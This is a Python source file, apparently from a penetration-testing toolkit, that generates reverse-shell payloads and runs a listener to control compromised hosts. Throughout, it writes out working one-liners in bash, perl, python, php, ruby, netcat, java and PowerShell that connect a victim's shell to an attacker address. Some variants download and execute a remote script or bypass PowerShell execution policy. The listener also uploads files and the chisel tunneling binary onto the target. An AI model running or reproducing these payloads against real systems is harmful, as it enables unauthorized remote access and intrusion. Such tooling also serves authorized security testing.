#!/usr/bin/python import socket import os import re import sys import pty import time import random import threading import paramiko import base64 import select import argparse import signal from hackingscripts.utils import util from hackingscripts.tools.misc import upload_file try: import SocketServer except ImportError: import socketserver as SocketServer class ShellListener: def __init__(self, addr, port): self.listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.bind_addr = addr self.port = port self.verbose = False self.on_message = [] self.listen_thread = None self.connection = None self.on_connect = None self.features = set() self.shell_ready = False self.os = None # we need a way to find the OS here self.raw_output = b"" def startBackground(self): self.listen_thread = threading.Thread(target=self.start) self.listen_thread.start() return self.listen_thread def has_feature(self, feature): return feature.lower() in self.features def probe_features(self): if self.os == "unix": features = ["wget", "curl", "nc", "sudo", "telnet", "docker", "python"] for feature in features: output = self.exec_sync("whereis " + feature) if output.startswith(feature.encode() + b": ") and len(output) >= len(feature)+2: self.features.add(feature.lower()) else: print("[-] Can't probe features for os:", self.os) def get_features(self): return self.features def start(self): self.running = True self.listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.listen_socket.bind((self.bind_addr, self.port)) self.listen_socket.listen() while self.running: self.connection, addr = self.listen_socket.accept() with self.connection: print("[+] Got connection:", addr) if self.on_connect: self.on_connect(addr) self.shell_ready = False while self.running: data = self.connection.recv(1024) if not data: break if self.os is None and not self.shell_ready: if b"Windows PowerShell" in data or b"Microsoft Windows" in data: self.os = "win" elif b"bash" in data or b"sh" in data: self.os = "unix" if self.os and self.verbose: print("OS PROBED:", self.os) if self.verbose: print("< ", data) if self.shell_ready: # TODO: check this... for callback in self.on_message: callback(data) elif self.is_prompt(data): self.shell_ready = True if self.verbose: print("RECV first prompt") else: self.raw_output += data for callback in self.on_message: callback(data) print("[-] Disconnected") self.connection = None self.running = False def close(self): self.running = False self.sendline("exit") self.listen_socket.close() if self.listen_thread != threading.currentThread(): self.listen_thread.join() def send(self, data): if self.connection: if isinstance(data, str): data = data.encode() if self.verbose: print("> ", data) self.connection.sendall(data) def sendline(self, data): if isinstance(data, str): data = data.encode() data += b"\n" return self.send(data) def is_prompt(self, data): if self.os == "unix": if data.endswith(b"# ") or data.endswith(b"$ "): return True elif self.os == "win": if data.endswith(b"> ") or data.endswith(b">") or data.endswith(b"$ "): return True return False def exec_sync(self, cmd): if self.os is None: print("[-] OS not probed yet, waiting...") while self.os is None: time.sleep(0.1) if not self.shell_ready: print("[-] Shell not ready yet, waiting...") while not self.shell_ready: time.sleep(0.1) output = b"" complete = False if isinstance(cmd, str): cmd = cmd.encode() def callback(data): nonlocal output nonlocal complete if complete: return output += data if self.is_prompt(output): complete = True if self.os == "unix": line_ending = b"\n" elif self.os == "win": line_ending = b"\r\n" if line_ending in output: output = output[0:output.rindex(line_ending)] if output.startswith(cmd + line_ending): output = output[len(cmd)+len(line_ending):] self.on_message.append(callback) self.sendline(cmd) while not complete: time.sleep(0.1) self.on_message.remove(callback) return output def print_message(self, data): try: data = data.decode() except: data = str(data) # workaround so the shell doesn't die sys.stdout.write(data) sys.stdout.flush() def interactive(self): print("[ ] Switching to interactive mode") self.on_message.append(lambda x: self.print_message(x)) while self.running and self.connection is not None: self.sendline(input()) def wait(self): while self.running and self.connection is None: time.sleep(0.1) return self.running def get_cwd(self): if self.os == "unix": return self.exec_sync("pwd").decode() elif self.os == "win": return self.exec_sync("pwd | foreach {$_.Path}").decode() else: print("[-] get_cwd not implemented for os:", self.os) return None def write_file(self, path, data_or_fd, permissions=None, method=None, sync=False, **kwargs): if method == None: if self.os == "win": method = "powershell" elif self.os == "unix": method = "echo" else: print("[-] No method specified, assuming 'echo'") method = echo print(f"[ ] Writing file '{path}' using method: {method}") send_func = self.sendline if not sync else self.exec_sync def write_chunk(chunk, first=False): chunk = base64.b64encode(chunk).decode() if method == "powershell": send_func(f"$decodedBytes = [System.Convert]::FromBase64String('{chunk}')") send_func(f"$stream.Write($decodedBytes, 0, $decodedBytes.Length)") else: operator = ">" if first else ">>" send_func(f"echo {chunk}|base64 -d {operator} {path}") if method == "echo" or method == "powershell": if method == "powershell": path = path.replace("'","\\'") send_func(f"$stream = [System.IO.File]::Open('{path}', [System.IO.FileMode]::Create)") chunk_size = 1024 if hasattr(data_or_fd, "read"): first = True while True: data = data_or_fd.read(chunk_size) if not data: break if isinstance(data, str): data = data.encode() write_chunk(data, first) first = False data_or_fd.close() else: if isinstance(data_or_fd, str): data_or_fd = data_or_fd.encode() for offset in range(0, len(data_or_fd), chunk_size): write_chunk(data_or_fd[offset:offset+chunk_size], offset == 0) if method == "powershell": send_func(f"$stream.Close()") elif method == "nc" or method == "netcat": ip_addr = util.get_address() bin_path = "nc" if not "bin_path" in kwargs else kwargs["bin_path"] port = None if "listen_port" not in kwargs else int(kwargs["listen_port"]) sock = util.open_server(ip_addr, port, retry=False) if not sock: return False def serve_file(): upload_file.serve_file(sock, data_or_fd, forever=False) port = sock.getsockname()[1] upload_thread = threading.Thread(target=serve_file) upload_thread.start() send_func(f"{bin_path} {ip_addr} {port} > {path}") upload_thread.join() else: print("[-] Unknown write-file method:", method) return False if permissions and self.os == "unix": send_func(f"chmod {permissions} {path}") print("[+] Done!") class ParamikoTunnelServer(SocketServer.ThreadingTCPServer): daemon_threads = True allow_reuse_address = True class ParamikoTunnel: def __init__(self, shell, ports): self.shell = shell self.ports = ports self.verbose = False self.is_running = True self.on_message = [] self.listen_threads = [] self.servers = [] def start_background(self): for port in self.ports: thread = threading.Thread(target=self.start, args=(port, )) thread.start() self.listen_threads.append(thread) return self.listen_threads def start(self, port): this = self class SubHandler(ParamikoTunnelHandler): peer = this.shell.get_transport().sock.getpeername() chain_host = "127.0.0.1" chain_port = port ssh_transport = this.shell.get_transport() def log(self, message): if this.verbose: print(message) forward_server = ParamikoTunnelServer(("127.0.0.1", port), SubHandler) self.servers.append(forward_server) forward_server.serve_forever() def close(self): self.is_running = False for server in self.servers: server._BaseServer__shutdown_request = True for thread in self.listen_threads: thread.join() class ParamikoTunnelHandler(SocketServer.BaseRequestHandler): def handle(self): try: chan = self.ssh_transport.open_channel( "direct-tcpip", (self.chain_host, self.chain_port), self.request.getpeername(), ) except Exception as e: self.log( "Incoming request to %s:%d failed: %s" % (self.chain_host, self.chain_port, repr(e)) ) return if chan is None: self.log( "Incoming request to %s:%d was rejected by the SSH server." % (self.chain_host, self.chain_port) ) return self.log( "Connected! Tunnel open %r -> %r -> %r" % ( self.request.getpeername(), chan.getpeername(), (self.chain_host, self.chain_port), ) ) while True: r, w, x = select.select([self.request, chan], [], []) if self.request in r: data = self.request.recv(1024) if len(data) == 0: break chan.send(data) if chan in r: data = chan.recv(1024) if len(data) == 0: break self.request.send(data) peername = self.request.getpeername() chan.close() self.request.close() self.log("Tunnel closed from %r" % (peername,)) def generate_payload(payload_type, local_address, port, index=None, **kwargs): commands = [] shell = kwargs.get("shell", "/bin/bash") if payload_type in ["sh", "bash"]: protocol = kwargs.get("protocol", "tcp") assert protocol in ["tcp", "udp"] payload = f"{payload_type} -i >& /dev/{protocol}/{local_address}/{port} 0>&1" elif payload_type == "perl": method = kwargs.get("method", "exec") if method == "exec": payload = f"perl -e 'use Socket;$i=\"{local_address}\";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/{shell} -i\");}};'" else: payload = f"perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"{local_address}:{port}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'" elif re.match(r"python((2|3)(\.[0-9]+)?)?", payload_type): payload = f"{payload_type} -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{local_address}\",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/{shell}\",\"-i\"]);'" elif payload_type == "php": payload = f"php -r '$sock=fsockopen(\"{local_address}\",{port});exec(\"/{shell} -i <&3 >&3 2>&3\");'" elif payload_type == "ruby": payload = f"ruby -rsocket -e'f=TCPSocket.open(\"{local_address}\",{port}).to_i;exec sprintf(\"{shell} -i <&%d >&%d 2>&%d\",f,f,f)'" elif payload_type in ["netcat", "nc", "ncat"]: method = kwargs.get("method", "fifo") if method == "fifo": fifo_name = kwargs.get("fifo_name", "f") payload = f"rm /tmp/{fifo_name};mkfifo /tmp/{fifo_name};cat /tmp/{fifo_name}|{shell} -i 2>&1|{payload_type} {local_address} {port} >/tmp/{fifo_name}" else: payload = f"{payload_type} {local_address} {port} -e {shell}" elif payload_type == "java": payload = f"r = Runtime.getRuntime()\np = r.exec([\"{shell}\",\"-c\",\"exec 5<>/dev/tcp/{local_address}/{port};cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()" elif payload_type == "xterm": payload = f"xterm -display {local_address}:1" elif payload_type == "powercat": shell = kwargs.get("shell", "cmd") http_port = kwargs.get("http_port", 80) return f"powershell.exe -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://{local_address}:{http_port}/powercat.ps1');powercat -c {local_address} -p {port} -e {shell}\"" elif payload_type == "powershell": payload = '$a=New-Object System.Net.Sockets.TCPClient("%s",%d);$d=$a.GetStream();[byte[]]$k=0..65535|%%{0};while(($i=$d.Read($k,0,$k.Length)) -ne 0){;$o=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($k,0,$i);$q=(iex $o 2>&1|Out-String);$c=$q+"$ ";$b=([text.encoding]::ASCII).GetBytes($c);$d.Write($b,0,$b.Length);$d.Flush()};$a.Close();' % (local_address, port) if kwargs.get("method", "process") == "process": payload_encoded = base64.b64encode(payload.encode("UTF-16LE")).decode() execution_policy = kwargs.get("execution_policy", "bypass") flags = ["-EncodedCommand", payload_encoded] if execution_policy is not None: flags.append("-ExecutionPolicy") flags.append(execution_policy) flags = " ".join(flags) payload = f"powershell.exe {flags}" else: payload = None print("[-] Unknown payload type:", payload_type) return payload def spawn_listener(port): signal.signal(signal.SIGINT, on_ctrl_c) while True: orig_stdin = os.dup(0) pid, fd = pty.fork() if pid == 0: os.dup2(orig_stdin, 0) x = os.execvp("nc", ["nc", "-lvvp", str(port)]) else: try: while True: data = os.read(fd, 1024) if not data: break sys.stdout.buffer.write(data) sys.stdout.flush() except OSError as e: print("[!] OSError:", str(e), "respawning shell…") def wait_for_connection(listener, timeout=None, prompt=True): start = time.time() if prompt: prompt = prompt if type(prompt) == str else "[ ] Waiting for shell" if timeout is not None: timer_len = sys.stdout.write("\r%s: %ds\r" % (prompt, timeout)) sys.stdout.flush() else: print(prompt) while listener.connection is None and listener.running: time.sleep(0.5) if timeout is not None: diff = time.time() - start if diff < timeout: sys.stdout.write(util.pad(f"\r%s: %ds" % (prompt, timeout - diff), timer_len, " ") + "\r") sys.stdout.flush() else: print(util.pad("\r[-] Shell timeout :(", timer_len, " ") + "\r") return None return listener def spawn_background_shell(port, timeout=None, prompt=True): listener = ShellListener("0.0.0.0", port) listener.startBackground() wait_for_connection(listener, timeout, prompt) return listener def trigger_shell(func, port): def _wait_and_exec(): time.sleep(1.5) func() threading.Thread(target=_wait_and_exec).start() spawn_listener(port) def trigger_background_shell(func, port, timeout=None, prompt=True): listener = ShellListener("0.0.0.0", port) listener.startBackground() threading.Thread(target=func).start() wait_for_connection(listener, timeout, prompt) return listener def create_tunnel(shell, ports: list): if len(ports) == 0: print("[-] Need at least one port to tunnel") return # TODO: ports if isinstance(shell, ShellListener): # TODO: if chisel has not been transmitted yet # we need a exec sync function, but this requires guessing when the output ended or we need to know the shell prompt ipAddress = util.get_address() chiselPort = 3000 chisel_path = os.path.join(os.path.dirname(__file__), "chisel64") shell.write_file("/tmp/chisel64", open(chisel_path, "rb")) shell.sendline("chmod +x /tmp/chisel64") t = threading.Thread(target=os.system, args=(f"{chisel_path} server --port {chisel_port} --reverse", )) t.start() shell.sendline(f"/tmp/chisel64 client --max-retry-count 1 {ipAddress}:{chiselPort} {ports} 2>&1 >/dev/null &") return t elif isinstance(shell, paramiko.SSHClient): paramiko_tunnel = ParamikoTunnel(shell, ports) paramiko_tunnel.start_background() return paramiko_tunnel def on_ctrl_c(*args): global ctrl_c_pressed now = time.time() last_pressed = globals().get("ctrl_c_pressed", None) if not last_pressed or (now - last_pressed) > 1.5: print("[!] CTRL-C pressed. Press again if you really want to interrupt") else: sys.exit(0) ctrl_c_pressed = now if __name__ == "__main__": parser = argparse.ArgumentParser(description="Reverse shell generator") parser.add_argument(dest="type", type=str, default=None, help="Payload type") parser.add_argument("-p", "--port", type=int, required=False, default=None, help="Listening port") parser.add_argument("-a", "--addr", type=str, required=False, default=util.get_address(), help="Listening address") args, extra = parser.parse_known_args() listen_port = args.port payload_type = args.type.lower() local_address = args.addr extra_args = {} for entry in extra: match = re.match(r"(\w+)=(\w+)", entry) if not match: print("Invalid extra argument:", entry) exit() key, value = match.groups() extra_args[key] = value # choose random port if listen_port is None: listen_port = random.randint(10000,65535) while util.is_port_in_use(listen_port): listen_port = random.randint(10000,65535) payload = generate_payload(payload_type, local_address, listen_port, **extra_args) if payload is None: print("Unknown payload type: %s" % payload_type) print("Supported types: sh, bash, perl, python[2|3], php, ruby, netcat|nc, java, xterm, powershell") exit(1) if payload_type.startswith("python"): # e.g. python3.11 tty_bin = payload_type else: tty_bin = "python" tty = f"{tty_bin} -c 'import pty; pty.spawn(\"/bin/bash\")'" print("---PAYLOAD---\n%s\n---TTY---\n%s\n---------\n" % (payload, tty)) if payload_type == "xterm": print("You need to run the following commands (not tested):") print("xhost +targetip") print("Xnest :1") else: spawn_listener(listen_port)